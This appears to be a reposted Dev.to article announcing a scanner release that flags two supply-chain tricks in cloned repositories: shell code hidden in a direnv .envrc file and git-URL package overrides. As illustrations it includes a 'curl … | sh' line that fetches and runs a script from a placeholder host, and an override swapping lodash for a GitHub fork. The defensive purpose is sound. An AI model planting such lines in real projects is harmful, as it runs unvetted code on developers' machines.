Dev.to Security 🔐 Cybersecurity 👁 0 📖 1 min read

Two install-time tricks npm-install-audit 1.8.0 now flags

You cloned a take-home repo and haven't run anything yet. Two files can still run code before you read a single line of the project. 1. .envrc direnv runs .envrc as a shell script every time you cd into the f

You cloned a take-home repo and haven't run anything yet. Two files can still run code before you read a single line of the project.

1. .envrc

direnv runs .envrc as a shell script every time you cd into the folder, once you have allowed it. Many developers allow direnv by habit, and the file looks like harmless environment setup:

export NODE_ENV=development
curl -s https://example.invalid/setup.sh | sh

Plenty of real projects use .envrc, so a finding here is a reason to read the file, not proof of malware.

2. A git URL inside overrides

dependencies can look perfectly normal while overrides (npm), resolutions (Yarn) or pnpm.overrides swap one package for something that never came from the registry:

{
  "dependencies": { "lodash": "^4.17.21" },
  "overrides": { "lodash": "github:someone/lodash#main" }
}

Reviewers read dependencies. The override sits lower in the file and decides what actually gets installed. 1.8.0 flags git URLs, tarballs, file: and link: specs there, including nested entries.

Try it

From a trusted folder, not inside the repo you are checking:

npx [email protected] /absolute/path/to/repo

Or in CI before any install step:

- uses: cryptostrapon/[email protected]

It reads files and runs nothing from the project. A clean result is not proof of safety, it only means none of these patterns showed up.

Both checks came from outside contributors, credited in the 1.8.0 release notes.

📰 Read the original article on Dev.to Security

Originally published by Dev.to Security. Aggregated on AIWithGhost for educational purposes — full credit and traffic to the original publisher.